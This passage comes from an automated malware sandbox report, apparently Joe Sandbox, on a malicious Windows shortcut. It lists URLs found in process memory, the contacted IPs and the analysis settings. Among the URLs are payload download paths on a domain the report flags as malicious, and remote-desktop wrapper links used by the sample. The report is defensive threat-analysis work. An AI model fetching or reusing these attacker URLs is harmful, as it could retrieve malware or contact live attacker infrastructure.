                    https://dev.ditu.live.com/REST/v1/Traffic/Incidents/svchost.exe, 00000010.00000002.1418685986.000001A40CA5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416359165.000001A40CA5E000.00000004.00000020.00020000.00000000.sdmpfalse
                      		high
                      https://t0.tiles.ditu.live.com/tiles/gensvchost.exe, 00000010.00000003.1416124973.000001A40CA6C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.1418765351.000001A40CA6E000.00000004.00000020.00020000.00000000.sdmpfalse
                        		high
                        http://uyt1n8ded9fb380.compowershell.exe, 00000002.00000002.1205833353.000002351578C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1444809039.000001E70176A000.00000004.00000800.00020000.00000000.sdmpfalse
                        • Avira URL Cloud: safe
                        		unknown
                        https://dev.virtualearth.net/REST/v1/Routes/Walkingsvchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmpfalse
                          		high
                          https://uyt1n8ded9fb380.com/rdp/initsvczHost.exe, 00000016.00000002.2311893794.000001B16F069000.00000004.00001000.00020000.00000000.sdmptrue
                          • Avira URL Cloud: safe
                          		unknown
                          https://dev.ditu.live.com/REST/v1/Imagery/Copyright/svchost.exe, 00000010.00000003.1416470241.000001A40CA5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.1418798466.000001A40CA82000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416730400.000001A40CA59000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1417172783.000001A40CA64000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416242221.000001A40CA63000.00000004.00000020.00020000.00000000.sdmpfalse
                            		high
                            http://stascorp.com/load/1-1-0-62svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmp, rdp.exe, 0000003A.00000000.2194786020.00000000008F1000.00000020.00000001.01000000.0000000E.sdmpfalse
                            • Avira URL Cloud: safe
                            		unknown
                            http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidYpowershell.exe, 0000000B.00000002.1825159018.000001E7108AC000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000000.1428119617.00007FF7A305A000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmpfalse
                              		high
                              https://dev.virtualearth.net/REST/v1/Transit/Schedules/svchost.exe, 00000010.00000002.1418452115.000001A40CA2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.1418714311.000001A40CA66000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1417172783.000001A40CA64000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416242221.000001A40CA63000.00000004.00000020.00020000.00000000.sdmpfalse
                                		high
                                http://schemas.xmlsoap.org/ws/2005/05/identity/claims/denyonlysidsvczHost.exe, svczHost.exe, 00000016.00000002.2320322903.00007FF7A2DCF000.00000004.00000001.01000000.0000000B.sdmp, myRdpService.exefalse
                                  		high
                                  https://aka.ms/nativeaot-compatibilitymyRdpService.exefalse
                                    		high
                                    https://nuget.org/nuget.exepowershell.exe, 00000002.00000002.1260911564.000002352374D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1107556992.0000029F84AD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1122658183.0000029F935EE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.1652547879.000001DF1090E000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000002.00000002.1205833353.00000235136D1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1107556992.0000029F83571000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1825159018.000001E7108AC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1444809039.000001E700001000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000016.00000002.2320322903.00007FF7A2DCF000.00000004.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000000.1428119617.00007FF7A305A000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmp, myRdpService.exefalse
                                        		high
                                        http://www.bingmapsportal.comsvchost.exe, 00000010.00000002.1418348030.000001A40CA13000.00000004.00000020.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        https://dev.virtualearth.net/REST/v1/Imagery/Copyright/svchost.exe, 00000010.00000003.1416730400.000001A40CA59000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1417172783.000001A40CA64000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416242221.000001A40CA63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.1418513346.000001A40CA40000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		high
                                          https://uyt1n8ded9fb380.com/d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c32118e709431fpowershell.exe, 00000002.00000002.1205833353.0000023513DA4000.00000004.00000800.00020000.00000000.sdmpfalse
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://crl.t.com/pki/crl/prpowershell.exe, 00000002.00000002.1271255401.000002352BC7D000.00000004.00000020.00020000.00000000.sdmpfalse
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000007.00000002.1107556992.0000029F84A47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1126043735.0000029F9B8F2000.00000004.00000020.00020000.00000000.sdmpfalse
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://schemas.xmlsoap.org/soap/encoding/powershell.exe, 00000007.00000002.1107556992.0000029F837D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1444809039.000001E7003C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                            		high
                                            http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000007.00000002.1107556992.0000029F84A47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1126043735.0000029F9B8F2000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		high
                                              https://go.micropowershell.exe, 00000007.00000002.1107556992.0000029F84396000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.1469095912.000001DF01109000.00000004.00000800.00020000.00000000.sdmpfalse
                                              • Avira URL Cloud: safe
                                              		unknown
                                              https://github.com/MartinKuschnik/WmiLightsvczHost.exe, 00000016.00000002.2312865308.000001B16FA48000.00000004.00001000.00020000.00000000.sdmpfalse
                                                		high
                                                https://uyt1n8ded9fb380.com/file2/92075dc9dc4a975a949cf44381ad6b239ec18149b0f56e36602cd36ff3b9b3a199powershell.exe, 0000000B.00000002.1444809039.000001E70022C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1444809039.000001E700001000.00000004.00000800.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: safe
                                                		unknown
                                                https://dev.virtualearth.net/REST/v1/Routes/svchost.exe, 00000010.00000002.1418452115.000001A40CA2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.1418714311.000001A40CA66000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1417172783.000001A40CA64000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416242221.000001A40CA63000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://aka.ms/nativeaot-compatibilityypowershell.exe, 0000000B.00000002.1825159018.000001E7108AC000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000000.1428119617.00007FF7A305A000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://contoso.com/Iconpowershell.exe, 00000007.00000002.1122658183.0000029F935EE000.00000004.00000800.00020000.00000000.sdmpfalse
                                                      		high
                                                      https://dynamic.api.tiles.ditu.live.com/odvs/gri?pv=1&r=svchost.exe, 00000010.00000003.1416470241.000001A40CA5B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      http://crl.ver)svchost.exe, 0000000F.00000002.2315892116.0000011DE9702000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gd?pv=1&r=svchost.exe, 00000010.00000003.1417225414.000001A40CA30000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.1418539502.000001A40CA42000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://dev.virtualearth.net/REST/v1/Locationssvchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://uyt1n8ded9fb380.com/d75123253ee9915640e2d3f6e9e28a8b05depowershell.exe, 00000002.00000002.1205833353.0000023515038000.00000004.00000800.00020000.00000000.sdmpfalse
                                                          • Avira URL Cloud: safe
                                                          		unknown
                                                          https://dev.ditu.live.com/REST/V1/MapControlConfiguration/native/svchost.exe, 00000010.00000002.1418647286.000001A40CA57000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://github.com/Pester/Pesterpowershell.exe, 00000007.00000002.1107556992.0000029F84A47000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1126043735.0000029F9B8F2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://uyt1n8ded9fb380.com/d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c321182403637apowershell.exe, 0000000B.00000002.1444809039.000001E7003C2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1444809039.000001E70176A000.00000004.00000800.00020000.00000000.sdmpfalse
                                                              • Avira URL Cloud: safe
                                                              		unknown
                                                              http://stascorp.comDVarFileInfo$svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmpfalse
                                                              • Avira URL Cloud: safe
                                                              		unknown
                                                              http://www.apache.org/licenses/LICENSE-2.0.htmlXzpowershell.exe, 00000002.00000002.1205833353.00000235138FB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1107556992.0000029F837D9000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://dev.virtualearth.net/REST/v1/JsonFilter/VenueMaps/data/svchost.exe, 00000010.00000002.1418685986.000001A40CA5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416359165.000001A40CA5E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://raw.githubusercontent.com/sebaxakerhtc/rdpwrap.ini/master/rdpwrap.iniUsvczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmp, rdp.exe, 0000003A.00000000.2194786020.00000000008F1000.00000020.00000001.01000000.0000000E.sdmpfalse
                                                                    		high
                                                                    https://dynamic.tsvchost.exe, 00000010.00000003.1416242221.000001A40CA63000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                    • Avira URL Cloud: safe
                                                                    		unknown
                                                                    http://crl.microsofpowershell.exe, 00000007.00000002.1126215398.0000029F9BACC000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                    • Avira URL Cloud: safe
                                                                    		unknown
                                                                    https://dev.virtualearth.net/REST/v1/Routes/Transitsvchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      http://schemas.xmlsoap.org/wsdl/powershell.exe, 00000007.00000002.1107556992.0000029F837D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1444809039.000001E7003C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        https://aka.ms/nativeaot-compatibilityYsvczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          https://github.com/Pester/Pesterhpowershell.exe, 00000007.00000002.1107556992.0000029F84A72000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1107556992.0000029F84A47000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            https://dev.ditu.live.com/REST/v1/Transit/Schedules/svchost.exe, 00000010.00000002.1418798466.000001A40CA82000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              https://uyt1n8ded9fb380.com/d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c3211858bdbbe7powershell.exe, 00000002.00000002.1205833353.0000023513ABF000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              http://www.quovadis.bm0powershell.exe, 00000002.00000002.1267646874.000002352B828000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1125085308.0000029F9B651000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1893516259.000001E778242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2315507772.0000011DE96A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2315892116.0000011DE9702000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.2318939714.000001F202F50000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000016.00000003.1799102550.000001F202F56000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              http://crl.co(svchost.exe, 0000000F.00000002.2316146311.0000011DE971A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              https://dynamic.api.tiles.ditu.live.com/odvs/gdv?pv=1&r=svchost.exe, 00000010.00000002.1418685986.000001A40CA5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416359165.000001A40CA5E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              http://uyt1n8ded9fb380.com:443/xsvczHost.exe, 00000016.00000002.2311893794.000001B16F04C000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.2311893794.000001B16F0A8000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.2311893794.000001B16F045000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              http://pesterbdd.com/images/Pester.pngXzpowershell.exe, 00000002.00000002.1205833353.00000235138FB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1107556992.0000029F837D9000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/svchost.exe, 00000010.00000002.1418685986.000001A40CA5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416359165.000001A40CA5E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=svchost.exe, 00000010.00000003.1416897804.000001A40CA48000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.1418685986.000001A40CA5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416359165.000001A40CA5E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                • Avira URL Cloud: safe
                                                                                		unknown
                                                                                http://html4/loose.dtdpowershell.exe, 0000000B.00000002.1825159018.000001E7108AC000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000000.1428119617.00007FF7A305A000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                • Avira URL Cloud: safe
                                                                                		unknown
                                                                                https://uyt1n8ded9fb380.compowershell.exe, 00000002.00000002.1205833353.00000235138FB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1107556992.0000029F837D9000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1444809039.000001E700385000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1444809039.000001E70176A000.00000004.00000800.00020000.00000000.sdmptrue
                                                                                • Avira URL Cloud: safe
                                                                                		unknown
                                                                                https://uyt1n8ded9fb380.com/d751powershell.exe, 00000002.00000002.1205833353.0000023515038000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                • Avira URL Cloud: safe
                                                                                		unknown
                                                                                https://dev.virtualearth.net/REST/v1/Routes/Drivingsvchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashxsvchost.exe, 00000010.00000003.1416945374.000001A40CA41000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    https://aka.ms/nativeaot-csvczHost.exe, myRdpService.exefalse
                                                                                      		high
                                                                                      https://contoso.com/Licensepowershell.exe, 00000007.00000002.1122658183.0000029F935EE000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        http://.csspowershell.exe, 0000000B.00000002.1825159018.000001E7108AC000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000000.1428119617.00007FF7A305A000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                        • Avira URL Cloud: safe
                                                                                        		unknown
                                                                                        https://dev.ditu.live.com/mapcontrol/logging.ashxsvchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          https://github.com/dotnet/runtimepowershell.exe, 0000000B.00000002.1825159018.000001E7100AA000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.2312865308.000001B16FA48000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.2320633620.00007FF7A2F41000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000000.1428119617.00007FF7A2F41000.00000002.00000001.01000000.0000000B.sdmpfalse
                                                                                            		high
                                                                                            https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=svchost.exe, 00000010.00000002.1418452115.000001A40CA2B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              https://uyt1n8ded9fb380.com/file2/b285c70467c8f6e4afebc6cdcfcbd06a500aad1b2ba0a5d0d5efe5748efcbdd6f4powershell.exe, 00000002.00000002.1205833353.0000023513DA4000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              https://aka.ms/dotnet-warnings/powershell.exe, 0000000B.00000002.1825159018.000001E7100AA000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1825159018.000001E7108AC000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, svczHost.exe, 00000016.00000002.2320322903.00007FF7A2DCF000.00000004.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000002.2312865308.000001B16FA48000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000000.1428119617.00007FF7A305A000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000002.2320633620.00007FF7A2F41000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmp, svczHost.exe, 00000016.00000000.1428119617.00007FF7A2F41000.00000002.00000001.01000000.0000000B.sdmp, myRdpService.exefalse
                                                                                                		high
                                                                                                https://contoso.com/powershell.exe, 00000007.00000002.1122658183.0000029F935EE000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                  		high
                                                                                                  https://github.com/Pester/PesterXzpowershell.exe, 00000002.00000002.1205833353.00000235138FB000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1107556992.0000029F837D9000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    https://ocsp.quovadisoffshore.com0powershell.exe, 00000002.00000002.1267646874.000002352B828000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1125085308.0000029F9B651000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000B.00000002.1893516259.000001E778242000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2315507772.0000011DE96A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2315892116.0000011DE9702000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.2318939714.000001F202F50000.00000004.00000020.00020000.00000000.sdmp, svczHost.exe, 00000016.00000003.1799102550.000001F202F56000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                    • Avira URL Cloud: safe
                                                                                                    		unknown
                                                                                                    http://.jpgpowershell.exe, 0000000B.00000002.1825159018.000001E7108AC000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000000.1428119617.00007FF7A305A000.00000002.00000001.01000000.0000000B.sdmp, svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                    • Avira URL Cloud: safe
                                                                                                    		unknown
                                                                                                    https://uyt1n8ded9fb380.com/file2/30bb492ec87899a2b4a8fa5c9eeec469d06c3bafc30e181eba243fc24b84241f38powershell.exe, 0000000B.00000002.1444809039.000001E7003C2000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                    • Avira URL Cloud: safe
                                                                                                    		unknown
                                                                                                    https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/svchost.exe, 00000010.00000002.1418452115.000001A40CA2B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.1418714311.000001A40CA66000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1417172783.000001A40CA64000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416242221.000001A40CA63000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                      		high
                                                                                                      https://dynamic.t0.tiles.ditu.live.com/comp/gen.ashxsvchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        http://nuget.org/NuGet.exepowershell.exe, 00000002.00000002.1260911564.000002352374D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1260911564.00000235238F0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1107556992.0000029F84AD1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1122658183.0000029F935EE000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                          		high
                                                                                                          http://wsoft.com/pki/ceroCerAut_2010-06-powershell.exe, 00000002.00000002.1271255401.000002352BC7D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                          • Avira URL Cloud: safe
                                                                                                          		unknown
                                                                                                          http://www.apache.org/licenses/LICENSE-2.0powershell.exe, 00000007.00000002.1107556992.0000029F84396000.00000004.00000800.00020000.00000000.sdmp, svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                            		high
                                                                                                            http://www.apache.org/licenses/svczHost.exe, 00000016.00000002.2312865308.000001B170346000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                                                              		high
                                                                                                              https://dev.ditu.live.com/REST/v1/Transit/Stops/svchost.exe, 00000010.00000002.1418798466.000001A40CA82000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                		high
                                                                                                                http://pesterbdd.com/images/Pester.pnghpowershell.exe, 00000007.00000002.1107556992.0000029F84A72000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1107556992.0000029F84A47000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                • Avira URL Cloud: safe
                                                                                                                		unknown
                                                                                                                https://dev.virtualearth.net/REST/v1/Traffic/Incidents/svchost.exe, 00000010.00000003.1417172783.000001A40CA64000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416242221.000001A40CA63000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.1418513346.000001A40CA40000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                  		high
                                                                                                                  https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=svchost.exe, 00000010.00000003.1417225414.000001A40CA30000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.1418539502.000001A40CA42000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416581111.000001A40CA56000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                    		high
                                                                                                                    https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?svchost.exe, 00000010.00000002.1418685986.000001A40CA5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000010.00000003.1416359165.000001A40CA5E000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                      		high
                                                                                                                      https://uyt1n8ded9fb380.com/filepowershell.exe, 00000002.00000002.1205833353.0000023515038000.00000004.00000800.00020000.00000000.sdmpfalse
                                                                                                                      • Avira URL Cloud: safe
                                                                                                                      		unknown

                                                                                                                      World Map of Contacted IPs

                                                                                                                      • No. of IPs < 25%
                                                                                                                      • 25% < No. of IPs < 50%
                                                                                                                      • 50% < No. of IPs < 75%
                                                                                                                      • 75% < No. of IPs

                                                                                                                      Public IPs

                                                                                                                      IPDomainCountryFlagASNASN NameMalicious
                                                                                                                      104.21.86.219
                                                                                                                      		uyt1n8ded9fb380.comUnited States
                                                                                                                      		13335CLOUDFLARENETUStrue
                                                                                                                      206.206.126.252
                                                                                                                      		unknownUnited States
                                                                                                                      		13332HYPEENT-SJUSfalse
                                                                                                                      185.199.110.133
                                                                                                                      		raw.githubusercontent.comNetherlands
                                                                                                                      		54113FASTLYUSfalse
                                                                                                                      23.88.71.29
                                                                                                                      		unknownUnited States
                                                                                                                      		18978ENZUINC-USfalse

                                                                                                                      Private

                                                                                                                      IP
                                                                                                                      127.0.0.1

                                                                                                                      General Information

                                                                                                                      Joe Sandbox version:41.0.0 Charoite
                                                                                                                      Analysis ID:1551874
                                                                                                                      Start date and time:2024-11-08 11:20:26 +01:00
                                                                                                                      Joe Sandbox product:CloudBasic
                                                                                                                      Overall analysis duration:0h 16m 46s
                                                                                                                      Hypervisor based Inspection enabled:false
                                                                                                                      Report type:full
                                                                                                                      Cookbook file name:default.jbs
                                                                                                                      Analysis system description:Windows 10 64 bit 20H2 Native physical Machine for testing VM-aware malware (Office 2019, Chrome 128, Firefox 91, Adobe Reader DC 21, Java 8 Update 301
                                                                                                                      Run name:Suspected VM Detection
                                                                                                                      Number of analysed new started processes analysed:63
                                                                                                                      Number of new started drivers analysed:0
                                                                                                                      Number of existing processes analysed:0
                                                                                                                      Number of existing drivers analysed:0
                                                                                                                      Number of injected processes analysed:0
                                                                                                                      Technologies:
                                                                                                                      • HCA enabled
                                                                                                                      • EGA enabled
                                                                                                                      • AMSI enabled
                                                                                                                      Analysis Mode:default
                                                                                                                      Analysis stop reason:Timeout
                                                                                                                      Sample name:4YgQ2xN41W.lnk
                                                                                                                      Detection:MAL
                                                                                                                      Classification:mal100.spre.troj.expl.evad.winLNK@94/62@2/5
                                                                                                                      EGA Information:
                                                                                                                      • Successful, ratio: 11.1%
                                                                                                                      HCA Information:Failed
                                                                                                                      Cookbook Comments:
                                                                                                                      • Found application associated with file extension: .lnk

                                                                                                                      Warnings

                                                                                                                      • Exclude process from analysis (whitelisted): dllhost.exe, WmiPrvSE.exe
                                                                                                                      • Excluded IPs from analysis (whitelisted): 104.117.182.163, 104.117.182.144, 104.117.182.176, 104.117.182.162, 104.117.182.146, 104.117.182.177, 104.117.182.200, 104.117.182.161, 23.62.230.70, 23.62.230.92, 23.51.58.94, 23.200.0.33, 23.200.0.21, 69.192.108.161, 142.251.40.163, 142.250.176.195
                                                                                                                      • Excluded domains from analysis (whitelisted): fs.microsoft.com, acroipm2.adobe.com.edgesuite.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, ctldl.windowsupdate.com, www.gstatic.com, prod.fs.microsoft.com.akadns.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, c.pki.goog, acroipm2.adobe.com
